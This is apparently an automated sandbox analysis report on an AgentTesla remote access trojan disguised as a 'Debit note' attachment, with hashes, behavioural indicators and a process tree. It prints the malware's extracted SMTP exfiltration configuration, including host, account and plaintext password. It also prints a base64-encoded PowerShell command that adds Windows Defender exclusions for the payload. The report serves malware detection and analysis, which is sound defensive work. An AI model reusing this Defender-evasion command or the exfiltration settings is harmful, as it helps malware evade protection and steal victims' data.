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Analysis
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max time kernel
94s -
max time network
95s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
15/01/2025, 02:34
Static task
static1
Behavioral task
behavioral1
Sample
Debit note -MSR_2024_0024- and Attachments.exe
Resource
win7-20240903-en
General
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Target
Debit note -MSR_2024_0024- and Attachments.exe
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Size
46KB
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MD5
58a83cbfbd24495d3427075426c7bb6c
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SHA1
3b3ef5d4ab2adc7824dd7ec26e8cc569f03e5189
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SHA256
cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226
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SHA512
820b6b992167303c33e96dca7acbef26b80698b63ae5ff61cfe919fc34ba6e10460f5264e7e33a433aa8407c0a3f2b482618e1da19f7369a6b07d40cb41bb871
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SSDEEP
768:WZ6LWN+ybM6EAKXbNgotkHxPe9rB5I308Cslw4BcriEsO:W5dopgKkHxPGrB5Ik3T4iCO
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.iaa-airferight.com - Port:
587 - Username:
[email protected] - Password:
manlikeyou88 - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Agenttesla family
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3672 created 3424 3672 Debit note -MSR_2024_0024- and Attachments.exe 56 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation Debit note -MSR_2024_0024- and Attachments.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs Debit note -MSR_2024_0024- and Attachments.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3672 set thread context of 2784 3672 Debit note -MSR_2024_0024- and Attachments.exe 100 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ipconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Debit note -MSR_2024_0024- and Attachments.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ipconfig.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5080 ipconfig.exe 4344 ipconfig.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2904 powershell.exe 2904 powershell.exe 3672 Debit note -MSR_2024_0024- and Attachments.exe 3672 Debit note -MSR_2024_0024- and Attachments.exe 3672 Debit note -MSR_2024_0024- and Attachments.exe 2784 InstallUtil.exe 2784 InstallUtil.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3672 Debit note -MSR_2024_0024- and Attachments.exe Token: SeDebugPrivilege 2904 powershell.exe Token: SeDebugPrivilege 3672 Debit note -MSR_2024_0024- and Attachments.exe Token: SeDebugPrivilege 2784 InstallUtil.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 3672 wrote to memory of 4908 3672 Debit note -MSR_2024_0024- and Attachments.exe 84 PID 3672 wrote to memory of 4908 3672 Debit note -MSR_2024_0024- and Attachments.exe 84 PID 3672 wrote to memory of 4908 3672 Debit note -MSR_2024_0024- and Attachments.exe 84 PID 4908 wrote to memory of 4344 4908 cmd.exe 86 PID 4908 wrote to memory of 4344 4908 cmd.exe 86 PID 4908 wrote to memory of 4344 4908 cmd.exe 86 PID 3672 wrote to memory of 2904 3672 Debit note -MSR_2024_0024- and Attachments.exe 95 PID 3672 wrote to memory of 2904 3672 Debit note -MSR_2024_0024- and Attachments.exe 95 PID 3672 wrote to memory of 2904 3672 Debit note -MSR_2024_0024- and Attachments.exe 95 PID 3672 wrote to memory of 2784 3672 Debit note -MSR_2024_0024- and Attachments.exe 100 PID 3672 wrote to memory of 2784 3672 Debit note -MSR_2024_0024- and Attachments.exe 100 PID 3672 wrote to memory of 2784 3672 Debit note -MSR_2024_0024- and Attachments.exe 100 PID 3672 wrote to memory of 2784 3672 Debit note -MSR_2024_0024- and Attachments.exe 100 PID 3672 wrote to memory of 2784 3672 Debit note -MSR_2024_0024- and Attachments.exe 100 PID 3672 wrote to memory of 2784 3672 Debit note -MSR_2024_0024- and Attachments.exe 100 PID 3672 wrote to memory of 2784 3672 Debit note -MSR_2024_0024- and Attachments.exe 100 PID 3672 wrote to memory of 2784 3672 Debit note -MSR_2024_0024- and Attachments.exe 100 PID 3672 wrote to memory of 2856 3672 Debit note -MSR_2024_0024- and Attachments.exe 101 PID 3672 wrote to memory of 2856 3672 Debit note -MSR_2024_0024- and Attachments.exe 101 PID 3672 wrote to memory of 2856 3672 Debit note -MSR_2024_0024- and Attachments.exe 101 PID 2856 wrote to memory of 5080 2856 cmd.exe 103 PID 2856 wrote to memory of 5080 2856 cmd.exe 103 PID 2856 wrote to memory of 5080 2856 cmd.exe 103
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3424
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C:\Users\Admin\AppData\Local\Temp\Debit note -MSR_2024_0024- and Attachments.exe"C:\Users\Admin\AppData\Local\Temp\Debit note -MSR_2024_0024- and Attachments.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Drops startup file
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3672 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /release3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4908 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /release4⤵
- System Location Discovery: System Language Discovery
- Gathers network information
PID:4344
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwARABlAGIAaQB0ACAAbgBvAHQAZQAgAC0ATQBTAFIAXwAyADAAMgA0AF8AMAAwADIANAAtACAAYQBuAGQAIABBAHQAdABhAGMAaABtAGUAbgB0AHMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwARABlAGIAaQB0ACAAbgBvAHQAZQAgAC0ATQBTAFIAXwAyADAAMgA0AF8AMAAwADIANAAtACAAYQBuAGQAIABBAHQAdABhAGMAaABtAGUAbgB0AHMALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAGEAcABwAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAGEAcABwAC4AZQB4AGUA3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2904
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /renew3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2856 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /renew4⤵
- System Location Discovery: System Language Discovery
- Gathers network information
PID:5080
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2784
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82